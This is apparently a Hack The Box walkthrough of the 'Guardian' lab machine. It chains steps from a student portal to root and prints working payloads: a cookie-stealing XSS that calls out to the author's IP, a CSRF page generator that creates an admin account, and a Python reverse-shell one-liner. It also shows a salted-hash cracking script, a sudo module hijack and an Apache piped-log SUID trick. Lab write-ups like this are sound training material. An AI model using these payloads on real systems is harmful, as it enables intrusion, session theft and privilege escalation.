Skip to content

Guardian — Hack The Box Walkthrough

Spoiler warning: this walkthrough includes compromise details.

Attack path · Spoilers — expand to reveal
  1. Student Credentials
  2. Student Portal
  3. Stored XSS
  4. Teacher Session Hijacking
  5. CSRF
  6. Admin Account
  7. PHP Filter Chain RCE
  8. www-data
  9. Credential Discovery
  10. jamil
  11. Python Module Hijacking
  12. mark
  13. Apache Abuse
  14. root

Guardian starts with a student portal and ends with a root shell. Along the way, I worked through a malicious Excel workbook, a CSRF request, PHP filter chains, and two local privilege escalations. Quite a busy day on campus.

I started with a service scan to identify the exposed ports and application services.

Terminal window
nmap -sC -sV -Pn -vv 10.10.11.84 -oA scan
Nmap service enumeration
Nmap service enumeration
Terminal window
sudo nano /etc/hosts

I added guardian.htb and portal.guardian.htb to /etc/hosts, both pointing to 10.10.11.84, so I could browse the public site and student portal by hostname.

Guardian public website
Guardian public website
Guardian website navigation
Guardian website navigation
Portal virtual host
Portal virtual host

The public site’s Help page links to a PDF with information about accessing the student portal.

Help page and downloadable PDF
Help page and downloadable PDF

The PDF lists student IDs that can be used as login usernames.

Student IDs in the PDF
Student IDs in the PDF

I used one of those student IDs with the password provided in the PDF to log in at portal.guardian.htb. First lesson: read the help page. Sometimes it helps a little too much.

Student portal login
Student portal login

The student dashboard shows one upcoming assignment.

Student dashboard assignment
Student dashboard assignment

The assignment submission form accepts an Excel workbook (.xlsx).

Assignment upload form
Assignment upload form

The workbook’s contents are rendered during review. I placed an HTML payload in a cell to test whether that content would execute JavaScript in the reviewer’s browser.

I used TreeGrid’s online spreadsheet editor to prepare the workbook and insert the following payload. Replace 10.10.14.94 with your VPN IP.

Preparing the Excel workbook
Preparing the Excel workbook
<img src="x" onerror="fetch('http://10.10.14.94:8000/?c=' + document.cookie)">
XSS payload in the workbook
XSS payload in the workbook

Note: In my testing, the workbook needed a second sheet (Sheet2) alongside the sheet containing the payload. Without it, the attempt did not work.

Save the workbook as exploit.xlsx.

Saving the crafted workbook
Saving the crafted workbook

I started an HTTP listener on port 8000, then uploaded the workbook. When the reviewer opened it, the payload sent the browser’s accessible cookies to my listener.

Captured session cookie
Captured session cookie

I opened the browser’s developer tools and replaced the portal session cookie with the captured value.

Replacing the portal session cookie
Replacing the portal session cookie

After refreshing the page, I had access to Sammy’s teacher dashboard. My academic promotion was suspiciously quick.

Teacher dashboard as Sammy
Teacher dashboard as Sammy

As Sammy, inspect the lecturer area for the notice feature.

Lecturer notice area
Lecturer notice area

I checked the notice creation page and its review workflow.

Creating a notice
Creating a notice

The notice feature lets a teacher submit a link for admin review. I used that workflow to deliver an HTML page that submits an account-creation request from the admin’s browser.

The script below fetches a CSRF token using the teacher session and embeds it in the form. In this attempt, the admin endpoint accepted that token in the resulting request.

import requests
import re
# 1. Target URL to get CSRF token
token_url = "http://portal.guardian.htb/lecturer/notices/create.php"
# 2. Your session cookie (replace with a valid one for testing)
cookies = {
"PHPSESSID": "71jbfrc7ogkmiqrn4ovdj59kas"
}
# 3. Fetch the page
resp = requests.get(token_url, cookies=cookies)
html = resp.text
# 4. Extract CSRF token using regex
match = re.search(r'name="csrf_token" value="([a-f0-9]+)"', html)
if not match:
print("CSRF token not found!")
exit()
csrf_token = match.group(1)
print("CSRF token found:", csrf_token)
# 5. Generate malicious HTML with the token
csrf_html = f"""<!DOCTYPE html>
<html>
<body>
<form id="csrfForm" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
<input type="hidden" name="username" value="dollarboysushil" />
<input type="hidden" name="password" value="dollarboysushil" />
<input type="hidden" name="full_name" value="dollarboysushil" />
<input type="hidden" name="email" value="dbs@dollarboysushil.com" />
<input type="hidden" name="dob" value="2000-01-01" />
<input type="hidden" name="address" value="dollarboysushil" />
<input type="hidden" name="user_role" value="admin" />
<input type="hidden" name="csrf_token" value="{csrf_token}"/>
</form>
<script>
setTimeout(() => {{
document.getElementById("csrfForm").submit();
console.log("Form submitted automatically!");
}}, 2000);
</script>
</body>
</html>"""
# 6. Save to a file
with open("csrf.html", "w") as f:
f.write(csrf_html)
print("csrf.html generated! Host it and send the link to the admin.")

Replace the example PHPSESSID with the teacher session cookie captured earlier, then run the script to generate csrf.html.

Generating the CSRF page
Generating the CSRF page
Preparing the admin review link
Preparing the admin review link

I hosted csrf.html on my HTTP server and submitted its URL through the notice review workflow.

Submitting the link for admin review
Submitting the link for admin review

After the review, I logged out and signed in with the account created by the form: dollarboysushil:dollarboysushil.

Logging in with the created account
Logging in with the created account

The new account opened the administrator dashboard.

Administrator dashboard
Administrator dashboard

From the admin panel, I found a parameter that could be used with a PHP filter-chain payload to execute code.

I used Synacktiv’s PHP filter-chain generator to build the payload. The screenshots below show the generated chain and where I submitted it.

Generating the PHP filter chain
Generating the PHP filter chain

I submitted the generated filter chain through the vulnerable parameter and checked the command output.

Submitting the filter-chain payload
Submitting the filter-chain payload
Remote command execution result
Remote command execution result

With command execution confirmed, I moved on to a reverse shell.

Terminal window
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.94",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

Replace the IP and port with your listener’s address. Start the listener before sending the command.

URL encoded:

python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.14.94%22%2C4444%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3B%20os.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22bash%22%29%27
Reverse shell request
Reverse shell request

The connection landed as www-data.

Shell as www-data
Shell as www-data

I found MySQL credentials in config.php and used them to connect to guardiandb.

Command:

Terminal window
mysql -u root -pGu4rd14n_un1_1s_th3_b3st guardiandb
Database credentials and MySQL connection
Database credentials and MySQL connection
Database account hashes
Database account hashes

The database contained usernames and password hashes, giving me a starting point for testing credential reuse against the local accounts.

Hashcat ran into memory limits on my machine, so I used a small Python script to test the wordlist instead. It computes SHA256(password + salt) and compares the result against the extracted hashes. My hardware had declined the group assignment.

#!/usr/bin/env python3
import hashlib
import sys
salt = "8Sb)tM1vs1SS"
target_hashes = {
"c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250": None,
"8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e": None,
"c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2": None,
"694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6": None
}
print("Cracking 4 hashes with salt: 8Sb)tM1vs1SS")
print("Target hashes:", list(target_hashes.keys()))
with open('/usr/share/wordlists/rockyou.txt', 'r', errors='ignore') as f:
for i, password in enumerate(f):
password = password.strip()
# SHA256(password + salt)
test_hash = hashlib.sha256((password + salt).encode()).hexdigest()
if test_hash in target_hashes:
print(f"FOUND: Password '{password}' matches hash {test_hash}")
target_hashes[test_hash] = password
# Progress indicator
if i % 10000 == 0:
print(f"Tried {i} passwords...")
# Stop if all hashes are cracked
if all(target_hashes.values()):
break
print("\nResults:")
for hash_val, password in target_hashes.items():
if password:
print(f"{hash_val}:{salt} -> {password}")
else:
print(f"{hash_val}:{salt} -> NOT CRACKED")

Command:

Terminal window
chmod +x crack.py
python3 crack.py
Wordlist cracking results
Wordlist cracking results

The home directory contains four local user accounts.

Local home directories
Local home directories

I tried the recovered password copperhouse56 with su jamil. It worked, giving me a shell as jamil and access to user.txt.

User access as Jamil
User access as Jamil

Running sudo -l as jamil showed that I could execute a utilities script as mark.

Jamil’s sudo permissions
Jamil’s sudo permissions
Writable utilities module
Writable utilities module

The script imports utils/status.py, which was writable by jamil. I appended a shell command to that module so it would execute when the utilities script imported it.

Command:

Terminal window
echo 'import os; os.system("/bin/bash")' >> /opt/scripts/utilities/utils/status.py

I then ran the permitted script as mark:

Terminal window
sudo -u mark /opt/scripts/utilities/utilities.py system-status

The imported module executed my command, opening a shell as mark. I checked sudo -l again to find the next escalation path.

Shell as Mark
Shell as Mark
Mark’s sudo permissions
Mark’s sudo permissions

Mark’s sudo permissions allowed me to run safeapache2ctl with a custom configuration. I placed the following piped ErrorLog directive in /home/mark/confs/file.conf:

ErrorLog "|/bin/bash -c 'chmod +s /bin/bash'"

I then launched the wrapper with that configuration:

Terminal window
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf

The piped log command was intended to set the SUID bit on /bin/bash. I checked its permissions:

Terminal window
ls -l /bin/bash
Bash permissions after running Apache
Bash permissions after running Apache

With the SUID bit set, I launched Bash with -p to preserve the effective user ID:

Terminal window
/bin/bash -p

That gave me a root shell. Guardian’s final guard turned out to be an Apache log directive.

Root shell
Root shell

The interesting part of Guardian was how the steps connected: a student upload exposed a teacher session, the review workflow led to an admin account, and application access became a local shell. From there, a writable Python module and Apache’s piped logging provided the remaining privilege escalations.

My main lessons were to inspect document rendering, check how CSRF tokens are validated across roles, test recovered credentials against local users, and follow the dependencies of scripts allowed through sudo. The entry point was a spreadsheet; the impact went well beyond homework.